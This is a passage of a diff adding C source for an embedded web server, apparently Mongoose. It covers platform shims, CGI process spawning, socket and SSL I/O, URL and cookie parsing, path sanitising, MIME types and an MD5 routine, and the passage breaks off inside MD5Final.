+ return DeleteFileW(wbuf) ? 0 : -1;
+}
+
+static int mg_mkdir(const char *path, int mode) {
+ char buf[PATH_MAX];
+ wchar_t wbuf[PATH_MAX];
+
+ mode = 0; // Unused
+ mg_strlcpy(buf, path, sizeof(buf));
+ change_slashes_to_backslashes(buf);
+
+ (void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, sizeof(wbuf));
+
+ return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
+}
+
+// Implementation of POSIX opendir/closedir/readdir for Windows.
+static DIR * opendir(const char *name) {
+ DIR *dir = NULL;
+ wchar_t wpath[PATH_MAX];
+ DWORD attrs;
+
+ if (name == NULL) {
+ SetLastError(ERROR_BAD_ARGUMENTS);
+ } else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
+ SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+ } else {
+ to_unicode(name, wpath, ARRAY_SIZE(wpath));
+ attrs = GetFileAttributesW(wpath);
+ if (attrs != 0xFFFFFFFF &&
+ ((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
+ (void) wcscat(wpath, L"\\*");
+ dir->handle = FindFirstFileW(wpath, &dir->info);
+ dir->result.d_name[0] = '\0';
+ } else {
+ free(dir);
+ dir = NULL;
+ }
+ }
+
+ return dir;
+}
+
+static int closedir(DIR *dir) {
+ int result = 0;
+
+ if (dir != NULL) {
+ if (dir->handle != INVALID_HANDLE_VALUE)
+ result = FindClose(dir->handle) ? 0 : -1;
+
+ free(dir);
+ } else {
+ result = -1;
+ SetLastError(ERROR_BAD_ARGUMENTS);
+ }
+
+ return result;
+}
+
+struct dirent * readdir(DIR *dir) {
+ struct dirent *result = 0;
+
+ if (dir) {
+ if (dir->handle != INVALID_HANDLE_VALUE) {
+ result = &dir->result;
+ (void) WideCharToMultiByte(CP_UTF8, 0,
+ dir->info.cFileName, -1, result->d_name,
+ sizeof(result->d_name), NULL, NULL);
+
+ if (!FindNextFileW(dir->handle, &dir->info)) {
+ (void) FindClose(dir->handle);
+ dir->handle = INVALID_HANDLE_VALUE;
+ }
+
+ } else {
+ SetLastError(ERROR_FILE_NOT_FOUND);
+ }
+ } else {
+ SetLastError(ERROR_BAD_ARGUMENTS);
+ }
+
+ return result;
+}
+
+#define set_close_on_exec(fd) // No FD_CLOEXEC on Windows
+
+static int start_thread(struct mg_context *ctx, mg_thread_func_t f, void *p) {
+ return _beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
+}
+
+static HANDLE dlopen(const char *dll_name, int flags) {
+ wchar_t wbuf[PATH_MAX];
+ flags = 0; // Unused
+ to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
+ return LoadLibraryW(wbuf);
+}
+
+#if !defined(NO_CGI)
+#define SIGKILL 0
+static int kill(pid_t pid, int sig_num) {
+ (void) TerminateProcess(pid, sig_num);
+ (void) CloseHandle(pid);
+ return 0;
+}
+
+static pid_t spawn_process(struct mg_connection *conn, const char *prog,
+ char *envblk, char *envp[], int fd_stdin,
+ int fd_stdout, const char *dir) {
+ HANDLE me;
+ char *p, *interp, cmdline[PATH_MAX], buf[PATH_MAX];
+ FILE *fp;
+ STARTUPINFOA si = { sizeof(si) };
+ PROCESS_INFORMATION pi = { 0 };
+
+ envp = NULL; // Unused
+
+ // TODO(lsm): redirect CGI errors to the error log file
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+
+ me = GetCurrentProcess();
+ (void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdin), me,
+ &si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+ (void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdout), me,
+ &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+
+ // If CGI file is a script, try to read the interpreter line
+ interp = conn->ctx->config[CGI_INTERPRETER];
+ if (interp == NULL) {
+ buf[2] = '\0';
+ mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%c%s", dir, DIRSEP, prog);
+ if ((fp = fopen(cmdline, "r")) != NULL) {
+ (void) fgets(buf, sizeof(buf), fp);
+ if (buf[0] != '#' || buf[1] != '!') {
+ // First line does not start with "#!". Do not set interpreter.
+ buf[2] = '\0';
+ } else {
+ // Trim whitespaces in interpreter name
+ for (p = &buf[strlen(buf) - 1]; p > buf && isspace(*p); p--) {
+ *p = '\0';
+ }
+ }
+ (void) fclose(fp);
+ }
+ interp = buf + 2;
+ }
+
+ (void) mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%s%s%c%s",
+ interp, interp[0] == '\0' ? "" : " ", dir, DIRSEP, prog);
+
+ DEBUG_TRACE(("Running [%s]", cmdline));
+ if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
+ CREATE_NEW_PROCESS_GROUP, envblk, dir, &si, &pi) == 0) {
+ cry(conn, "%s: CreateProcess(%s): %d",
+ __func__, cmdline, ERRNO);
+ pi.hProcess = (pid_t) -1;
+ } else {
+ (void) close(fd_stdin);
+ (void) close(fd_stdout);
+ }
+
+ (void) CloseHandle(si.hStdOutput);
+ (void) CloseHandle(si.hStdInput);
+ (void) CloseHandle(pi.hThread);
+
+ return (pid_t) pi.hProcess;
+}
+#endif // !NO_CGI
+
+static int set_non_blocking_mode(SOCKET sock) {
+ unsigned long on = 1;
+ return ioctlsocket(sock, FIONBIO, &on);
+}
+
+#else
+static int mg_stat(const char *path, struct mgstat *stp) {
+ struct stat st;
+ int ok;
+
+ if (stat(path, &st) == 0) {
+ ok = 0;
+ stp->size = st.st_size;
+ stp->mtime = st.st_mtime;
+ stp->is_directory = S_ISDIR(st.st_mode);
+ } else {
+ ok = -1;
+ }
+
+ return ok;
+}
+
+static void set_close_on_exec(int fd) {
+ (void) fcntl(fd, F_SETFD, FD_CLOEXEC);
+}
+
+static int start_thread(struct mg_context *ctx, mg_thread_func_t func,
+ void *param) {
+ pthread_t thread_id;
+ pthread_attr_t attr;
+ int retval;
+
+ (void) pthread_attr_init(&attr);
+ (void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
+ // TODO(lsm): figure out why mongoose dies on Linux if next line is enabled
+ // (void) pthread_attr_setstacksize(&attr, sizeof(struct mg_connection) * 5);
+
+ if ((retval = pthread_create(&thread_id, &attr, func, param)) != 0) {
+ cry(fc(ctx), "%s: %s", __func__, strerror(retval));
+ }
+
+ return retval;
+}
+
+#ifndef NO_CGI
+static pid_t spawn_process(struct mg_connection *conn, const char *prog,
+ char *envblk, char *envp[], int fd_stdin,
+ int fd_stdout, const char *dir) {
+ pid_t pid;
+ const char *interp;
+
+ envblk = NULL; // Unused
+
+ if ((pid = fork()) == -1) {
+ // Parent
+ send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
+ } else if (pid == 0) {
+ // Child
+ if (chdir(dir) != 0) {
+ cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
+ } else if (dup2(fd_stdin, 0) == -1) {
+ cry(conn, "%s: dup2(%d, 0): %s", __func__, fd_stdin, strerror(ERRNO));
+ } else if (dup2(fd_stdout, 1) == -1) {
+ cry(conn, "%s: dup2(%d, 1): %s", __func__, fd_stdout, strerror(ERRNO));
+ } else {
+ (void) dup2(fd_stdout, 2);
+ (void) close(fd_stdin);
+ (void) close(fd_stdout);
+
+ // Execute CGI program. No need to lock: new process
+ interp = conn->ctx->config[CGI_INTERPRETER];
+ if (interp == NULL) {
+ (void) execle(prog, prog, NULL, envp);
+ cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
+ } else {
+ (void) execle(interp, interp, prog, NULL, envp);
+ cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
+ strerror(ERRNO));
+ }
+ }
+ exit(EXIT_FAILURE);
+ } else {
+ // Parent. Close stdio descriptors
+ (void) close(fd_stdin);
+ (void) close(fd_stdout);
+ }
+
+ return pid;
+}
+#endif // !NO_CGI
+
+static int set_non_blocking_mode(SOCKET sock) {
+ int flags;
+
+ flags = fcntl(sock, F_GETFL, 0);
+ (void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
+
+ return 0;
+}
+#endif // _WIN32
+
+// Write data to the IO channel - opened file descriptor, socket or SSL
+// descriptor. Return number of bytes written.
+static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
+ int64_t len) {
+ int64_t sent;
+ int n, k;
+
+ sent = 0;
+ while (sent < len) {
+
+ // How many bytes we send in this iteration
+ k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
+
+ if (ssl != NULL) {
+ n = SSL_write(ssl, buf + sent, k);
+ } else if (fp != NULL) {
+ n = fwrite(buf + sent, 1, (size_t) k, fp);
+ if (ferror(fp))
+ n = -1;
+ } else {
+ n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
+ }
+
+ if (n < 0)
+ break;
+
+ sent += n;
+ }
+
+ return sent;
+}
+
+// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
+// Return number of bytes read.
+static int pull(FILE *fp, SOCKET sock, SSL *ssl, char *buf, int len) {
+ int nread;
+
+ if (ssl != NULL) {
+ nread = SSL_read(ssl, buf, len);
+ } else if (fp != NULL) {
+ // Use read() instead of fread(), because if we're reading from the CGI
+ // pipe, fread() may block until IO buffer is filled up. We cannot afford
+ // to block and must pass all read bytes immediately to the client.
+ nread = read(fileno(fp), buf, (size_t) len);
+ if (ferror(fp))
+ nread = -1;
+ } else {
+ nread = recv(sock, buf, (size_t) len, 0);
+ }
+
+ return nread;
+}
+
+int mg_read(struct mg_connection *conn, void *buf, size_t len) {
+ int n, buffered_len, nread;
+ const char *buffered;
+
+ assert((conn->content_len == -1 && conn->consumed_content == 0) ||
+ conn->consumed_content <= conn->content_len);
+ DEBUG_TRACE(("%p %zu %lld %lld", buf, len,
+ conn->content_len, conn->consumed_content));
+ nread = 0;
+ if (conn->consumed_content < conn->content_len) {
+
+ // Adjust number of bytes to read.
+ int64_t to_read = conn->content_len - conn->consumed_content;
+ if (to_read < (int64_t) len) {
+ len = (int) to_read;
+ }
+
+ // How many bytes of data we have buffered in the request buffer?
+ buffered = conn->buf + conn->request_len + conn->consumed_content;
+ buffered_len = conn->data_len - conn->request_len;
+ assert(buffered_len >= 0);
+
+ // Return buffered data back if we haven't done that yet.
+ if (conn->consumed_content < (int64_t) buffered_len) {
+ buffered_len -= (int) conn->consumed_content;
+ if (len < (size_t) buffered_len) {
+ buffered_len = len;
+ }
+ memcpy(buf, buffered, (size_t)buffered_len);
+ len -= buffered_len;
+ buf = (char *) buf + buffered_len;
+ conn->consumed_content += buffered_len;
+ nread = buffered_len;
+ }
+
+ // We have returned all buffered data. Read new data from the remote socket.
+ while (len > 0) {
+ n = pull(NULL, conn->client.sock, conn->ssl, (char *) buf, (int) len);
+ if (n <= 0) {
+ break;
+ }
+ buf = (char *) buf + n;
+ conn->consumed_content += n;
+ nread += n;
+ len -= n;
+ }
+ }
+ return nread;
+}
+
+int mg_write(struct mg_connection *conn, const void *buf, size_t len) {
+ return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
+ (int64_t) len);
+}
+
+int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
+ char buf[BUFSIZ];
+ int len;
+ va_list ap;
+
+ va_start(ap, fmt);
+ len = mg_vsnprintf(conn, buf, sizeof(buf), fmt, ap);
+ va_end(ap);
+
+ return mg_write(conn, buf, (size_t)len);
+}
+
+// URL-decode input buffer into destination buffer.
+// 0-terminate the destination buffer. Return the length of decoded data.
+// form-url-encoded data differs from URI encoding in a way that it
+// uses '+' as character for space, see RFC 1866 section 8.2.1
+// http://ftp.ics.uci.edu/pub/ietf/html/rfc1866.txt
+static size_t url_decode(const char *src, size_t src_len, char *dst,
+ size_t dst_len, int is_form_url_encoded) {
+ size_t i, j;
+ int a, b;
+#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
+
+ for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
+ if (src[i] == '%' &&
+ isxdigit(* (const unsigned char *) (src + i + 1)) &&
+ isxdigit(* (const unsigned char *) (src + i + 2))) {
+ a = tolower(* (const unsigned char *) (src + i + 1));
+ b = tolower(* (const unsigned char *) (src + i + 2));
+ dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
+ i += 2;
+ } else if (is_form_url_encoded && src[i] == '+') {
+ dst[j] = ' ';
+ } else {
+ dst[j] = src[i];
+ }
+ }
+
+ dst[j] = '\0'; // Null-terminate the destination
+
+ return j;
+}
+
+// Scan given buffer and fetch the value of the given variable.
+// It can be specified in query string, or in the POST data.
+// Return NULL if the variable not found, or allocated 0-terminated value.
+// It is caller's responsibility to free the returned value.
+int mg_get_var(const char *buf, size_t buf_len, const char *name,
+ char *dst, size_t dst_len) {
+ const char *p, *e, *s;
+ size_t name_len, len;
+
+ name_len = strlen(name);
+ e = buf + buf_len;
+ len = -1;
+ dst[0] = '\0';
+
+ // buf is "var1=val1&var2=val2...". Find variable first
+ for (p = buf; p != NULL && p + name_len < e; p++) {
+ if ((p == buf || p[-1] == '&') && p[name_len] == '=' &&
+ !mg_strncasecmp(name, p, name_len)) {
+
+ // Point p to variable value
+ p += name_len + 1;
+
+ // Point s to the end of the value
+ s = (const char *) memchr(p, '&', (size_t)(e - p));
+ if (s == NULL) {
+ s = e;
+ }
+ assert(s >= p);
+
+ // Decode variable into destination buffer
+ if ((size_t) (s - p) < dst_len) {
+ len = url_decode(p, (size_t)(s - p), dst, dst_len, 1);
+ }
+ break;
+ }
+ }
+
+ return len;
+}
+
+int mg_get_cookie(const struct mg_connection *conn, const char *cookie_name,
+ char *dst, size_t dst_size) {
+ const char *s, *p, *end;
+ int name_len, len = -1;
+
+ dst[0] = '\0';
+ if ((s = mg_get_header(conn, "Cookie")) == NULL) {
+ return 0;
+ }
+
+ name_len = strlen(cookie_name);
+ end = s + strlen(s);
+
+ for (; (s = strstr(s, cookie_name)) != NULL; s += name_len)
+ if (s[name_len] == '=') {
+ s += name_len + 1;
+ if ((p = strchr(s, ' ')) == NULL)
+ p = end;
+ if (p[-1] == ';')
+ p--;
+ if (*s == '"' && p[-1] == '"' && p > s + 1) {
+ s++;
+ p--;
+ }
+ if ((size_t) (p - s) < dst_size) {
+ len = (p - s) + 1;
+ mg_strlcpy(dst, s, (size_t)len);
+ }
+ break;
+ }
+
+ return len;
+}
+
+static int convert_uri_to_file_name(struct mg_connection *conn, char *buf,
+ size_t buf_len, struct mgstat *st) {
+ struct vec a, b;
+ const char *rewrite, *uri = conn->request_info.uri;
+ char *p;
+ int match_len, stat_result;
+
+ buf_len--; // This is because memmove() for PATH_INFO may shift part
+ // of the path one byte on the right.
+ mg_snprintf(conn, buf, buf_len, "%s%s", conn->ctx->config[DOCUMENT_ROOT],
+ uri);
+
+ rewrite = conn->ctx->config[REWRITE];
+ while ((rewrite = next_option(rewrite, &a, &b)) != NULL) {
+ if ((match_len = match_prefix(a.ptr, a.len, uri)) > 0) {
+ mg_snprintf(conn, buf, buf_len, "%.*s%s", b.len, b.ptr, uri + match_len);
+ break;
+ }
+ }
+
+#if defined(_WIN32) && !defined(__SYMBIAN32__)
+ //change_slashes_to_backslashes(buf);
+#endif // _WIN32
+
+ if ((stat_result = mg_stat(buf, st)) != 0) {
+ // Support PATH_INFO for CGI scripts.
+ for (p = buf + strlen(buf); p > buf + 1; p--) {
+ if (*p == '/') {
+ *p = '\0';
+ if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
+ strlen(conn->ctx->config[CGI_EXTENSIONS]), buf) > 0 &&
+ (stat_result = mg_stat(buf, st)) == 0) {
+ conn->path_info = p + 1;
+ memmove(p + 2, p + 1, strlen(p + 1));
+ p[1] = '/';
+ break;
+ } else {
+ *p = '/';
+ stat_result = -1;
+ }
+ }
+ }
+ }
+
+ return stat_result;
+}
+
+static int sslize(struct mg_connection *conn, int (*func)(SSL *)) {
+ return (conn->ssl = SSL_new(conn->ctx->ssl_ctx)) != NULL &&
+ SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
+ func(conn->ssl) == 1;
+}
+
+// Check whether full request is buffered. Return:
+// -1 if request is malformed
+// 0 if request is not yet fully buffered
+// >0 actual request length, including last \r\n\r\n
+static int get_request_len(const char *buf, int buflen) {
+ const char *s, *e;
+ int len = 0;
+
+ DEBUG_TRACE(("buf: %p, len: %d", buf, buflen));
+ for (s = buf, e = s + buflen - 1; len <= 0 && s < e; s++)
+ // Control characters are not allowed but >=128 is.
+ if (!isprint(* (const unsigned char *) s) && *s != '\r' &&
+ *s != '\n' && * (const unsigned char *) s < 128) {
+ len = -1;
+ } else if (s[0] == '\n' && s[1] == '\n') {
+ len = (int) (s - buf) + 2;
+ } else if (s[0] == '\n' && &s[1] < e &&
+ s[1] == '\r' && s[2] == '\n') {
+ len = (int) (s - buf) + 3;
+ }
+
+ return len;
+}
+
+// Convert month to the month number. Return -1 on error, or month number
+static int get_month_index(const char *s) {
+ size_t i;
+
+ for (i = 0; i < ARRAY_SIZE(month_names); i++)
+ if (!strcmp(s, month_names[i]))
+ return (int) i;
+
+ return -1;
+}
+
+// Parse UTC date-time string, and return the corresponding time_t value.
+static time_t parse_date_string(const char *datetime) {
+ static const unsigned short days_before_month[] = {
+ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
+ };
+ char month_str[32];
+ int second, minute, hour, day, month, year, leap_days, days;
+ time_t result = (time_t) 0;
+
+ if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
+ &day, month_str, &year, &hour, &minute, &second) == 6) ||
+ (sscanf(datetime, "%d %3s %d %d:%d:%d",
+ &day, month_str, &year, &hour, &minute, &second) == 6) ||
+ (sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
+ &day, month_str, &year, &hour, &minute, &second) == 6) ||
+ (sscanf(datetime, "%d-%3s-%d %d:%d:%d",
+ &day, month_str, &year, &hour, &minute, &second) == 6)) &&
+ year > 1970 &&
+ (month = get_month_index(month_str)) != -1) {
+ year -= 1970;
+ leap_days = year / 4 - year / 100 + year / 400;
+ days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
+ result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
+ }
+
+ return result;
+}
+
+// Protect against directory disclosure attack by removing '..',
+// excessive '/' and '\' characters
+static void remove_double_dots_and_double_slashes(char *s) {
+ char *p = s;
+
+ while (*s != '\0') {
+ *p++ = *s++;
+ if (IS_DIRSEP_CHAR(s[-1])) {
+ // Skip all following slashes and backslashes
+ while (IS_DIRSEP_CHAR(s[0])) {
+ s++;
+ }
+
+ // Skip all double-dots
+ while (*s == '.' && s[1] == '.') {
+ s += 2;
+ }
+ }
+ }
+ *p = '\0';
+}
+
+static const struct {
+ const char *extension;
+ size_t ext_len;
+ const char *mime_type;
+ size_t mime_type_len;
+} builtin_mime_types[] = {
+ {".html", 5, "text/html", 9},
+ {".htm", 4, "text/html", 9},
+ {".shtm", 5, "text/html", 9},
+ {".shtml", 6, "text/html", 9},
+ {".css", 4, "text/css", 8},
+ {".js", 3, "application/x-javascript", 24},
+ {".ico", 4, "image/x-icon", 12},
+ {".gif", 4, "image/gif", 9},
+ {".jpg", 4, "image/jpeg", 10},
+ {".jpeg", 5, "image/jpeg", 10},
+ {".png", 4, "image/png", 9},
+ {".svg", 4, "image/svg+xml", 13},
+ {".torrent", 8, "application/x-bittorrent", 24},
+ {".wav", 4, "audio/x-wav", 11},
+ {".mp3", 4, "audio/x-mp3", 11},
+ {".mid", 4, "audio/mid", 9},
+ {".m3u", 4, "audio/x-mpegurl", 15},
+ {".ram", 4, "audio/x-pn-realaudio", 20},
+ {".xml", 4, "text/xml", 8},
+ {".xslt", 5, "application/xml", 15},
+ {".ra", 3, "audio/x-pn-realaudio", 20},
+ {".doc", 4, "application/msword", 19},
+ {".exe", 4, "application/octet-stream", 24},
+ {".zip", 4, "application/x-zip-compressed", 28},
+ {".xls", 4, "application/excel", 17},
+ {".tgz", 4, "application/x-tar-gz", 20},
+ {".tar", 4, "application/x-tar", 17},
+ {".gz", 3, "application/x-gunzip", 20},
+ {".arj", 4, "application/x-arj-compressed", 28},
+ {".rar", 4, "application/x-arj-compressed", 28},
+ {".rtf", 4, "application/rtf", 15},
+ {".pdf", 4, "application/pdf", 15},
+ {".swf", 4, "application/x-shockwave-flash",29},
+ {".mpg", 4, "video/mpeg", 10},
+ {".mpeg", 5, "video/mpeg", 10},
+ {".mp4", 4, "video/mp4", 9},
+ {".m4v", 4, "video/x-m4v", 11},
+ {".asf", 4, "video/x-ms-asf", 14},
+ {".avi", 4, "video/x-msvideo", 15},
+ {".bmp", 4, "image/bmp", 9},
+ {NULL, 0, NULL, 0}
+};
+
+// Look at the "path" extension and figure what mime type it has.
+// Store mime type in the vector.
+static void get_mime_type(struct mg_context *ctx, const char *path,
+ struct vec *vec) {
+ struct vec ext_vec, mime_vec;
+ const char *list, *ext;
+ size_t i, path_len;
+
+ path_len = strlen(path);
+
+ // Scan user-defined mime types first, in case user wants to
+ // override default mime types.
+ list = ctx->config[EXTRA_MIME_TYPES];
+ while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
+ // ext now points to the path suffix
+ ext = path + path_len - ext_vec.len;
+ if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
+ *vec = mime_vec;
+ return;
+ }
+ }
+
+ // Now scan built-in mime types
+ for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
+ ext = path + (path_len - builtin_mime_types[i].ext_len);
+ if (path_len > builtin_mime_types[i].ext_len &&
+ mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
+ vec->ptr = builtin_mime_types[i].mime_type;
+ vec->len = builtin_mime_types[i].mime_type_len;
+ return;
+ }
+ }
+
+ // Nothing found. Fall back to "text/plain"
+ vec->ptr = "text/plain";
+ vec->len = 10;
+}
+
+#ifndef HAVE_MD5
+typedef struct MD5Context {
+ uint32_t buf[4];
+ uint32_t bits[2];
+ unsigned char in[64];
+} MD5_CTX;
+
+#if defined(__BYTE_ORDER) && (__BYTE_ORDER == 1234)
+#define byteReverse(buf, len) // Do nothing
+#else
+static void byteReverse(unsigned char *buf, unsigned longs) {
+ uint32_t t;
+ do {
+ t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
+ ((unsigned) buf[1] << 8 | buf[0]);
+ *(uint32_t *) buf = t;
+ buf += 4;
+ } while (--longs);
+}
+#endif
+
+#define F1(x, y, z) (z ^ (x & (y ^ z)))
+#define F2(x, y, z) F1(z, x, y)
+#define F3(x, y, z) (x ^ y ^ z)
+#define F4(x, y, z) (y ^ (x | ~z))
+
+#define MD5STEP(f, w, x, y, z, data, s) \
+ ( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
+
+// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
+// initialization constants.
+static void MD5Init(MD5_CTX *ctx) {
+ ctx->buf[0] = 0x67452301;
+ ctx->buf[1] = 0xefcdab89;
+ ctx->buf[2] = 0x98badcfe;
+ ctx->buf[3] = 0x10325476;
+
+ ctx->bits[0] = 0;
+ ctx->bits[1] = 0;
+}
+
+static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
+ register uint32_t a, b, c, d;
+
+ a = buf[0];
+ b = buf[1];
+ c = buf[2];
+ d = buf[3];
+
+ MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
+ MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
+ MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
+ MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
+ MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
+ MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
+ MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
+ MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
+ MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
+ MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
+ MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
+ MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
+ MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
+ MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
+ MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
+ MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
+
+ MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
+ MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
+ MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
+ MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
+ MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
+ MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
+ MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
+ MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
+ MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
+ MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
+ MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
+ MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
+ MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
+ MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
+ MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
+ MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
+
+ MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
+ MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
+ MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
+ MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
+ MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
+ MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
+ MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
+ MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
+ MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
+ MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
+ MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
+ MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
+ MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
+ MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
+ MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
+ MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
+
+ MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
+ MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
+ MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
+ MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
+ MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
+ MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
+ MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
+ MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
+ MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
+ MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
+ MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
+ MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
+ MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
+ MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
+ MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
+ MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
+
+ buf[0] += a;
+ buf[1] += b;
+ buf[2] += c;
+ buf[3] += d;
+}
+
+static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
+ uint32_t t;
+
+ t = ctx->bits[0];
+ if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
+ ctx->bits[1]++;
+ ctx->bits[1] += len >> 29;
+
+ t = (t >> 3) & 0x3f;
+
+ if (t) {
+ unsigned char *p = (unsigned char *) ctx->in + t;
+
+ t = 64 - t;
+ if (len < t) {
+ memcpy(p, buf, len);
+ return;
+ }
+ memcpy(p, buf, t);
+ byteReverse(ctx->in, 16);
+ MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+ buf += t;
+ len -= t;
+ }
+
+ while (len >= 64) {
+ memcpy(ctx->in, buf, 64);
+ byteReverse(ctx->in, 16);
+ MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+ buf += 64;
+ len -= 64;
+ }
+
+ memcpy(ctx->in, buf, len);
+}
+
+static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
+ unsigned count;
+ unsigned char *p;
+
+ count = (ctx->bits[0] >> 3) & 0x3F;
+
+ p = ctx->in + count;
+ *p++ = 0x80;
+ count = 64 - 1 - count;
+ if (count < 8) {
+ memset(p, 0, count);
+ byteReverse(ctx->in, 16);
